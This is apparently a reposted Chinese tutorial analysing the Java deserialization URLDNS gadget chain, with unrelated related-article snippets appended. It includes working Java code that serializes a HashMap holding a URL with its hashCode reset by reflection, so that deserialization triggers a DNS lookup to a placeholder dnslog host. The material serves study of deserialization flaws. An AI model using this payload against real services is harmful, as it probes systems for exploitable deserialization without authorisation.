JAVA反序列化之URLDNS链分析

简单介绍下urldns链

在此之前最好有如下知识,请自行bing or google学习。
        什么是序列化 反序列化 ?特点!
        java对象反射调用?
        hashmap在java中是一种怎样的数据类型?
        dns解析记录有那些?

思考代码本身设计

废话不说,我们直接上代码 (代码调用链在下面分析)

    public static void main(String[] args) throws Exception {
       // Person person = new Person( name: "aa", age: 22);
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        hashmap.put(new URL("http://xxxx.dnslog.cn"),1);
    }

思考如上代码能不能发起一个dns请求! 为什么?

现在解答
        能,因为hashmap.put 中会触发了url类中的hashcode方法,这个方法会调用getHostAddress(u) 从而发起dns请求。

那么为什么是这样的设计呢?
        学过数据结构都知道,有一种数据结构叫做哈希表。简单来说就是依据数据的hash(这里也不一定非要是hash,一定的算法即可),来确定在表中的位置,若hash意外相同(因为表的长度是有限的,算法hash终会有撞的)(这里的hash也不要跟MD5什么的算法混淆),则在相应位置以链表的形式追加数据。这样的好处显而易见,就是可以提前预判自己的存储位置,从而加快代码运行速度。
        那么在java中,hashmap就是这样的一种数据结构。存入的数据都要调用hashcode计算hash值,以此来作为hash表位置的依据。由于java的特性,如果这个数据重写了hashcode方法,则调用的会是这个对象的hashcode方法
        那么为什么URL类要重写hashcode方法呢?请看代码

 public static void main(String[] args) {
        try {
            // 实例化第一个URL对象
            URL url1 = new URL("https://1vg1kk469fx17563.aliyunddos1017.com");

            // 实例化第二个URL对象
            URL url2 = new URL("https://51cto.com");

            // 输出两个URL对象的hashCode值
            System.out.println("URL1 hashCode: " + url1.hashCode());
            System.out.println("URL2 hashCode: " + url2.hashCode());
        } catch (MalformedURLException e) {
            e.printStackTrace();
        }

这两个url对象的hashcode值是否相等呢!答案是的,注:1vg1kk469fx17563.aliyunddos1017.com是51cto.com的别名

为什么会如此。原因在于 虽然说是两个域名长得是不一样,但是你们最终解析的地址是一样的啊,那么你们可以算为同一个对象吗?显然java设计者考虑到了这个问题,他规定hashcode的值不是由url字符串算的,而是根据最终解析地址来算的。所以啊,hashcode被重写,在hashcode中调用了getHostAddress方法,解析dns地址得到host地址来计算hash。

代码方法调用链分析

put方法追进去

 put方法调用了hash把url对象传了进去

 调用对象的hashcode方法

 判断类中的hashcode的值(其初始值=-1) 表示该类url第一次调用hashcode,之后就把这个值存储起来,以备下次调用hashcode直接返回该值。这样设计的目的也是为了避免多次发起dns解析减少运算。若为-1 则调用handler.hashcode

 跟入gethostaddress方法

反序列化链的应用

如上hashmap.put会调用hashcode函数,那么hashcode能不能为反序列化所调用呢?

答案是肯定的,hashmap重写了readobject,这样反序列化会切入到自己的逻辑中。且在readobject中调用了key的hashcode方法

那么为什么hashmap为什么要重写readobject的呢?
        序列化是对象之间的传输,要保证在一个jvm的对象传到另一个jvm,其对象的是一致的。就拿hashmap来说,hash表的存储位置顺序,传到另一个jvm要保证是一致的。不能出现存储的map数据位置不一致的情况,否者这就不是同一个对象了。而重写了readobject 则hashmap在反序列化的时候就更方便调整计算Key和Value的值了.....

URLDNS链分析

前面我们分析,我们第一次建立url对象时其内部的hashcode为默认值-1
在hash.put之后,hashcode就更新了,这样的话在反序列化的时候hashcode不为-1,就无法发起dns请求。但这可是序列化传输对象啊!想要一个怎么样的url对象不可能!
好在hashcode没有不可序列化的标识符,这就意味着这个成员属性是我们可控的。
只需在hash.put改过之后 用反射的方法再将url对象的hashcode的值在改为-1,不就行了。

上代码

package urldns;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class hashmap {
    public static void main(String[] args) throws Exception {
       // Person person = new Person( name: "aa", age: 22);
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        URL url = new URL("http://xxxx.xxxx.xx");
        hashmap.put(url,1);
        // 获取URL类的hashCode字段
        Field hashCodeField = URL.class.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        // 修改URL对象的hashCode值
        hashCodeField.set(url, -1);

        serialize(hashmap);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException, IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }



}

分析调试如下

readobect打上断点

 因为hashmap重写了readobject所以会走到这个方法中

readobject中有调用的key的hashcode方法 

 此刻就来到了url的hashcode方法了,我们传入对象hashcode值就是-1让它进入handler.hashcode方法

之后的调试就和之前的一样的了

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/284325.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Phind-CodeLlama-34B-v2 + Excel + Python 超强组合玩转数据分析

Phind-CodeLlama-34B-v2 Excel Python 超强组合玩转数据分析 0. 背景1. 使用 Phind-CodeLlama-34B-v2 pandas 实现数据导入和导出1.1 使用 Phind-CodeLlama-34B-v2 pandas 导入 Excel 文件中的数据1.2 使用 Phind-CodeLlama-34B-v2 pandas 读取部分Excel文件数据 2. 使用 …

Origin 2021软件安装包下载及安装教程

Origin 2021下载链接&#xff1a;https://docs.qq.com/doc/DUnJNb3p4VWJtUUhP 1.选中下载的压缩包&#xff0c;然后鼠标右键选择解压到"Origin 2021"文件夹 2.双击打开“Setup”文件夹 3.选中“Setup.exe”鼠标右键点击“以管理员身份运行” 4.点击“下一步" 5…

C ++类

定义一个Person类&#xff0c;私有成员int age&#xff0c;string &name&#xff0c;定义一个Stu类&#xff0c;包含私有成员double *score&#xff0c;写出两个类的构造函数、析构函数、拷贝构造和拷贝赋值函数&#xff0c;完成对Person的运算符重载(算术运算符、条件运算…

每个AI/ML工程师必须了解的人工智能框架和工具

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

【SpringCloud Alibaba笔记】(2)Nacos服务注册与配置中心

Nacos Nacos简介与下载 是什么&#xff1f; 一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。 Nacos&#xff08;Dynamic Naming and Configuration Service&#xff09;就是注册中心&#xff0b;配置中心的组合 Nacos Eureka Config Bus 替代Eureka…

vscode配置的C++环境

目录 1、下载并安装VScode 2、下载MinGW 3、配置MinGW 3.1添加环境变量 3.2 Vscode配置 3.3测试 1、下载并安装VScode Visual Studio Code - Code Editing. Redefined 2、下载MinGW 在MinGW官网MinGW-w64 - for 32 and 64 bit Windows - Browse /mingw-w64/mingw-w64-r…

OpenOCD简介和下载安装(Ubuntu)

文章目录 OpenOCD简介OpenOCD软件模块OpenOCD源码下载OpenOCD安装 OpenOCD简介 OpenOCD&#xff08;Open On-Chip Debugger&#xff09;开放式片上调试器 OpenOCD官网 https://openocd.org/&#xff0c;进入官网点击 About 可以看到OpenOCD最初的设计是由国外一个叫Dominic Ra…

VC++ ado 实现单表CURD

继续修改前文的资产管理源码; 新建一个数据库sds;把代码中的数据库连接改为连接此库; 新建下图一个表; 把之前的资产类别管理对话框改为下图所示;对话框ID也改为下图; 资产类别管理菜单和ID改为下图; 直接修改资产类别管理对话框类不太方便,新建一个对话框类,没有关联…

FA模板制作流程

1、FA模板制作的流程&#xff08;完整复制模板制作&#xff09; 总结&#xff1a; FA完整复制云桌面模板流程&#xff1a; 1、安装一个全新的Windows&#xff0c;挂载并安装tools 2、关闭防火墙、启动administrator本地超管用户 3、挂载FusionAccess_WindowsDesktop_Instal…

【unity学习笔记】捏人+眨眼效果+口型效果

一、vriod捏人 1.在vroidstudio软件中捏人 2.导出模型&#xff08;.vrm) 二、vrid导入unity的插件 1.在Git上搜索、打开univrm。 2.找到release页面找到合适的插件版本。&#xff08;VRM-0.116.0_0f6c&#xff09; 3.将univrm导入到工程中&#xff08;assets&#xff09;。 三…

rosdep init/update失败+rosdep 初始化脚本

我等会给你们开源一个python脚本&#xff0c;自动修改&#xff1a;并且把源代码发到博客里面 注意了使用这个脚本的前提是安装sudo apt install python3-rosdep2;否则文件夹就不对了 #rosdep初始化软件无界面 def replacex():addr1addrfiopen(addr1,r)contfi.read()contcont.…

「Verilog学习笔记」乘法与位运算

专栏前言 本专栏的内容主要是记录本人学习Verilog过程中的一些知识点&#xff0c;刷题网站用的是牛客网 观察乘数的特点&#xff1a; 1111_1011 1_0000_0000 - 1 - 100 timescale 1ns/1nsmodule dajiang13(input [7:0] A,output [15:0] B);//*************code*********…

2024年人工智能领域10大预测

2023年人工智能领域如果只能筛选一个关键词的话&#xff0c;恐怕非“大模型”莫属。大模型的发展在过去一年中&#xff0c;让各行各业发生了天翻地覆的变化&#xff0c;有企业因大模型而新生&#xff0c;有企业因大模型而消亡。企业的变迁跟技术迭代息息相关&#xff0c;而大模…

阶段十-分布式-nginx服务器

一、Nginx简介 Nginx 是高性能的 HTTP 和反向代理的服务器&#xff0c;处理高并发能力是十分强大的&#xff0c;能经受高负载的考验,有报告表明能支持高达 50,000 个并发连接数。tomcat并发数量理论值是500&#xff0c;实际也就300左右。 1.2 正向代理 正向代理代理的是客户…

详解协方差矩阵,相关矩阵,互协方差矩阵(附完整例题分析)【2】

目录 一. 写在前面 二. 相关矩阵&#xff08;Correlation Matrix&#xff09; 三. 实战分析 例题1 &#xff08;1&#xff09;均值的关系 &#xff08;2&#xff09;协方差的关系 &#xff08;3&#xff09;小结 例题2 小结 四. 补充 一. 写在前面 有关协方差矩阵和…

2024年山东省中职“网络安全”试题——B-3:Web安全之综合渗透测试

B-3&#xff1a;Web安全之综合渗透测试 服务器场景名称&#xff1a;Server2010&#xff08;关闭链接&#xff09; 服务器场景操作系统&#xff1a;"需要环境有问题加q" 使用渗透机场景Kali中的工具扫描服务器&#xff0c;通过扫描服务器得到web端口&#xff0c;登陆…

SQLSERVER排查CPU占用高

操作系统是Windows2008R2 ,数据库是SQL2008R2 64位 64G内存,16核CPU 硬件配置还是比较高的,他说服务器运行的是金蝶K3软件,数据库实例里有多个数据库 现象 他说是这几天才出现的,而且在每天的某一个时间段才会出现CPU占用高的情况 内存占用不太高,只占用了30个G CPU…

Mysql体系结构一次讲清

Mysql进阶 Mysql体系结构 大体来说&#xff0c;MySQL 可以分为 Server 层和存储引擎层两部分。 Server层 主要包括连接器、查询缓存、分析器、优化器、执行器等&#xff0c;涵盖 MySQL 的大多数核心服务功能&#xff0c;以及所有的内 置函数&#xff08;如日期、时间、数…

qt图像绘制QPainter

QPainter 以下是一些常用的 Qt::PenStyle 枚举值&#xff1a; Qt::NoPen&#xff1a;无线条。Qt::SolidLine&#xff1a;实线。Qt::DashLine&#xff1a;虚线&#xff0c;由短划线组成。Qt::DotLine&#xff1a;点线&#xff0c;由点组成。Qt::DashDotLine&#xff1a;点划线&…

OpenCV-Python(21):OPenCV查找及绘制轮廓

1.认识轮廓 1.1 目标 理解什么是轮廓学习掌握找轮廓、绘制轮廓等学习使用cv2.findContours()、cv2.drawContours()函数的用法 1.2 什么是轮廓 在OpenCV中&#xff0c;轮廓是图像中连续的边界线的曲线&#xff0c;具有相同的颜色或者灰度&#xff0c;用于表示物体的形状。轮廓…